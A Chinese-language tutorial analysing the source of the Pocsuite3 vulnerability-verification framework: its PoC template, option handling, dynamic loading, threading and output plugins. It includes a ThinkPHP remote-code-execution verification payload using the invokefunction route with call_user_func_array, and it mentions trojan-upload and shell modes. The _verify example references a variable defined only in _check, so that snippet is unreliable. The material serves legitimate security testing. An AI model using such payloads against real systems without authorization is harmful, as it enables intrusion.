pocsuite3部分源码浅析
字数 2753 2025-08-23 18:31:17
Pocsuite3 源码分析与使用教程
目录
Pocsuite3 概述
Pocsuite3 是一个基于 Python3 编写的漏洞验证框架,主要用于安全测试和漏洞验证。它具有以下特点:
- 支持三种操作模式:验证、利用和 shell
- 模块化设计,易于扩展
- 多线程支持,高效执行
- 灵活的 PoC 管理机制
核心功能与模式
Pocsuite3 提供三种主要操作模式:
- 验证模式(verify):仅验证漏洞是否存在,不进行攻击性行为
- 利用模式(attack):上传木马文件获取权限
- Shell模式(shell):与目标建立 shell 连接
目录结构解析
Pocsuite3 的目录结构如下:
api/ # 存放__init__.py,对导入包重命名,方便后续调用
data/ # 存储用户需要使用数据,如弱口令文件等
lib/ # 存储Pocsuite3的具体实现,包括核心功能代码
modules/ # 存储用户自定义的模块
plugins/ # 存储用户自定义的插件
pocs/ # 存储PoC文件
shellcodes/ # 存储生成php,java,python等脚本语言的利用代码
cli.py # 项目入口文件
console.py # 命令行界面
PoC 模板详解
Pocsuite3 使用统一的 PoC 模板格式,可通过命令生成:
python cli.py -n 生成模板
生成的模板文件包含以下核心部分:
from pocsuite3.api import POCBase, register_poc
class DemoPOC(POCBase):
# 类属性定义
vulID = '' # 漏洞ID
version = '' # PoC版本
author = '' # 作者
vulDate = '' # 漏洞公开日期
createDate = '' # PoC创建日期
updateDate = '' # PoC更新日期
references = [] # 参考链接
name = '' # PoC名称
appPowerLink = '' # 厂商主页
appName = '' # 应用名称
appVersion = '' # 应用版本
vulType = '' # 漏洞类型
desc = '''''' # 漏洞描述
samples = [] # 测试样例
install_requires = [] # 依赖模块
# 方法定义
def _check(self): pass # 检查漏洞是否存在
def _verify(self): pass # 验证模式
def _attack(self): pass # 攻击模式
def _shell(self): pass # shell模式
def _execute(self, mode='verify'):
# 执行不同模式的攻击
pass
register_poc(DemoPOC) # 注册PoC,实现动态加载
关键点:
- 所有 PoC 都基于
POCBase类 execute()和_execute()是核心方法register_poc()用于注册 PoC 实现动态加载
参数存储机制
Pocsuite3 使用 lib/core/data.py 中定义的五个全局变量存储系统参数:
conf: 存储基本配置信息kb: 存储多线程运行PoC的配置信息- 目标地址
- 加载的PoC
- 运行模式
- 输出结果
- 加载的PoC文件地址
- 多线程信息
cmd_line_options: 存储命令行输入的参数值merged_options: 存储输入值与默认值合并后的结果paths: 存储数据、插件、poc目录地址,临时目录、输出目录
lib/core/settings.py 中存储一些额外配置信息:
- banner信息
- 正则表达式
- 命令行解析白名单等
命令行参数解析
执行命令示例:
python cli.py -f "ip.txt" -r "pocs" -o "output.txt"
解析过程:
cli.py的main函数执行module_path()返回当前工作目录check_environment()检查当前工作目录set_paths()设置目录路径banner()打印banner信息cmd_line_parser()解析命令行参数
cmd_line_parser() 使用 argparse 库实现参数解析:
ArgumentParser创建解析器对象add_argument()添加命令行选项add_argument_group()给参数分组parse_args()自动解析命令行输入
参数解析示例:
parser.add_argument('-f', '--file', dest='url_file',
help='Load targets from target file')
parser.add_argument('-r', '--poc', dest='poc', nargs='+',
help='Load POC from a directory or specify a poc file')
parser.add_argument('-o', '--output', dest='output_path',
help='Output file path')
系统初始化流程
系统初始化由 init_options() 函数实现,主要步骤:
-
初始化系统参数
- 将命令行输入存储到
cmd_line_options - 使用
_set_conf_attributes()初始化conf变量 _set_poc_options(input_options)设置DIY_OPTIONS_set_kb_attributes()初始化kb变量_merge_options()合并选项到merged_options
- 将命令行输入存储到
-
参数格式化与合法检测
_cleanup_options()格式化参数并检查合法性- 处理请求头、cookie等参数
- 设置线程间隔、超时时间
- 检查输入文件是否存在且可读
-
读取目标
_set_multiple_targets()从文件获取目标IP- 使用
get_file_items()读取文件内容 parse_target()解析CIDR地址和域名
-
动态加载PoC
_set_pocs_modules()加载PoC脚本- 判断
conf.poc是文件还是目录 - 使用
load_file_to_module()加载PoC
-
动态加载插件
_set_plugins()加载插件- 使用
register_plugin()注册插件
-
多线程初始化
_set_task_queue()初始化任务队列- 将目标IP与PoC模块组合
-
输出插件初始化
_init_results_plugins()初始化输出插件
动态加载机制
PoC 动态加载核心流程:
- 使用
importlib.util.spec_from_file_location创建模块规范 - 使用
importlib.util.module_from_spec创建模块对象 - 使用
PocLoader作为加载器 spec.loader.exec_module执行模块加载
PocLoader 的 exec_module 方法:
- 获取PoC文件内容和路径
check_requires检查依赖模块compile编译PoC代码为字节码exec执行字节码
插件加载与PoC类似,但使用 register_plugin() 注册:
kb.plugins['results']['pocs_file_record'] = 插件对象
多线程模型
多线程执行流程:
start()调用run_threads()建立多线程模型- 多线程执行
task_run()函数 - 使用
Queue实现线程安全的任务队列
核心代码:
def run_threads(num_threads, func):
threads = []
for i in range(num_threads):
t = threading.Thread(target=func)
t.setDaemon(True)
threads.append(t)
t.start()
for t in threads:
t.join()
def task_run():
while not kb.task_queue.empty():
target, poc_module = kb.task_queue.get()
poc = kb.registered_pocs[poc_module]
result = poc.execute(target)
result_plugins_handle(result)
输出处理机制
输出处理由两部分组成:
-
task_run()中的result_plugins_handle()- 执行插件的
handle()方法 - 将结果以JSON格式写入文件
- 执行插件的
-
start()中的task_done()show_task_result()格式化输出结果result_plugins_start()关闭文件并输出保存地址result_compare_handle()显示搜索引擎比较数据
实战示例
示例1:基本使用
python cli.py -f "ip.txt" -r "pocs" -o "output.txt"
执行流程:
- 从
ip.txt读取目标IP - 加载
pocs目录下的所有PoC - 多线程验证漏洞
- 结果输出到
output.txt
示例2:ThinkPHP RCE漏洞验证
PoC文件 thinkphp_rce.py 核心逻辑:
def _check(self):
# 检查漏洞是否存在
url = self.target + '/index.php?s=/Index/\\think\\app/invokefunction'
data = {
'function': 'call_user_func_array',
'vars[0]': 'phpinfo',
'vars[1][]': '1'
}
response = requests.post(url, data=data)
if 'PHP Version' in response.text:
return True
return False
def _verify(self):
# 验证模式
result = {}
if self._check():
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.target
result['VerifyInfo']['Payload'] = data
return self.parse_output(result)
示例3:自定义PoC开发
- 生成模板:
python cli.py -n my_poc.py
- 编辑PoC文件:
from pocsuite3.api import POCBase, register_poc
class MyPOC(POCBase):
vulID = 'CVE-2023-12345'
version = '1.0'
author = 'yourname'
vulDate = '2023-01-01'
createDate = '2023-08-01'
name = 'Example Vulnerability'
appName = 'Example App'
def _verify(self):
result = {}
url = self.target + '/vulnerable_endpoint'
try:
response = requests.get(url)
if 'vulnerable_string' in response.text:
result['VerifyInfo'] = {
'URL': url,
'Payload': None
}
except Exception as e:
pass
return self.parse_output(result)
register_poc(MyPOC)
- 执行验证:
python cli.py -r my_poc.py -u http://target.com
总结
Pocsuite3 是一个功能强大且灵活的漏洞验证框架,通过分析其源码可以深入理解:
- 模块化设计和动态加载机制
- 多线程任务处理模型
- 统一的PoC开发规范
- 灵活的插件系统
- 完善的参数管理和输出处理
掌握这些核心概念后,可以更高效地使用Pocsuite3进行安全测试,也能更好地开发自定义PoC和插件。